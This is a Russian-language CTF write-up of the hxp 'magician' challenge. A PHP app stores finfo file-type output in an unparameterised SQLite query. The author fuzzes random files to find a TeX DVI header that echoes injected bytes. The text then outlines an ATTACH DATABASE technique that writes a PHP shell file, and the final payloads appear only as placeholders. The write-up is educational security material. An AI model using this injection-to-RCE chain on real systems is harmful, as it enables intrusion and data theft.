Взлом веб-приложения с помощью волшебных файлов, внедрения sqlite3 и, наконец, RCE.

Наконец (снова), минималистичное решение для хостинга файлов с открытым исходным кодом.

Файл magician-3ace41f3b0282a70.tar.xz (2,1 KiB)

Http://78.47.152.131:8000/

Задача очень минималистичная, и мне потребовалось довольно много времени, чтобы разобраться, поскольку уязвимость неочевидна с первого взгляда.

Любой файл, который вы загружаете в приложение, определяет тип файла с помощью finfo_file и сохраняет эту информацию в базе данных SQLite.

$s = "INSERT INTO upload(info) VALUES ('" .(new finfo)->file($_FILES['file']['tmp_name']). " ');";

Оператор вставки не параметризован; он уязвим для SQL-инъекций. Но мы не контролируем напрямую, что здесь вставляется. Он исходит из файла Finfo- ›php. Сначала я проигнорировал это и перешел к поиску дополнительных уязвимостей. Ничего не добившись в течение нескольких часов, я попытался создать набор данных из 100 000 файлов, который я могу передать в файл finfo- ›и найти любой формат файла, который позволяет нам вводить несколько байтов.

Создавать случайные файлы с помощью os.urandom и python довольно просто.

>>> import os
>>> for f in range(0, 100000):
...     fp = open(str(f), 'wb')
...     fp.write(os.urandom(1000))
...     fp.close()
...
>>>

Здесь у нас есть 100 000 файлов, каждый по 1000 случайных байтов. Я сделал PHP-скрипт, чтобы проверить, что Finfo дает нам для каждого из этих файлов:

<?php
error_reporting(3);
ini_set('display_errors', 3);
ini_set('display_startup_errors', 3);
echo "$argv[1]:".(new finfo)->file($argv[1])."\n";

Давайте запустим его на всех имеющихся у нас файлах и подождем, пока появится интересное:

find . -type f -exec php test.php {} \; > out

Бег занимает пару минут. Нам удалось провести фаззинг множества интересных форматов:

./80507:MPEG-4 LOAS, 4 or more streams
./80566:zlib compressed data
./80680:zlib compressed data
./80718:DOS executable (COM)
./80746:COM executable for DOS
./80747:COM executable for DOS
./80755:TeX DVI file (d\201\206\220z \011+>\200\331\363\022z\233\274\334\031e\362\255\214\334.\2506\333G\250o\246\300\006fa\365q\007\212\016@~UR\235r\375\254\030\014-\211\374M\321*_\241\256\301$}\x\027\366\215V\372\242#\256 #\322AS\221\0
34\346yB\335b\305:\307\301\213\354\330\177\271\230;)
./80768:DOS executable (COM, 0x8C-variant)
./80840:COM executable for DOS
./80845:PGP\011Secret Sub-key -
./80946:ATSC A/52 aka AC-3 aka Dolby Digital stream, reserved frequency,, karaoke 3 front/1 rear,, 192 kbit/s
./80963:QDOS object ''
./81058:SysEx File -
./81067:PG
./82523:COM executable for DOS
./82546:PGP\011Secret Key -
./82577:PGP\011Secret Key -
./82656:DOS executable (COM, 0x8C-variant)
./82758:DOS executable (COM, 0x8C-variant)
./82826:DOS executable (COM, 0x8C-variant)
./82836:COM executable for DOS

Но файл TeX DVI определенно выделяется. Нам нужно иметь возможность вводить случайные байты и возвращать их с помощью finfo:

root@0c653a405e70:/files# php test.php 7774
7774:TeX DVI file (ello this is aneesh'-- we have sqlite injection)

Вы можете легко отредактировать часть после заголовка, и у нас есть SQLite-инъекция :). С этого момента все идет гладко.

Примечание. У нашей полезной нагрузки есть ограничение по длине, поэтому мы не можем просто сделать это:

ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<');--

мы должны разделить его и использовать минимум символов:

  1. Создайте файл базы данных как .php и создайте таблицу, которую мы вставим в следующую.

payload1 здесь.

2. Вставьте PHP-код в нашу таблицу и выполните «cat / *».

payload2 здесь.

Попробуем загрузить их по порядку и проверить lol.php.

Какой потрясающий вызов. Узнал много нового об инъекциях SQLite и форматах файлов. Спасибо, hxp!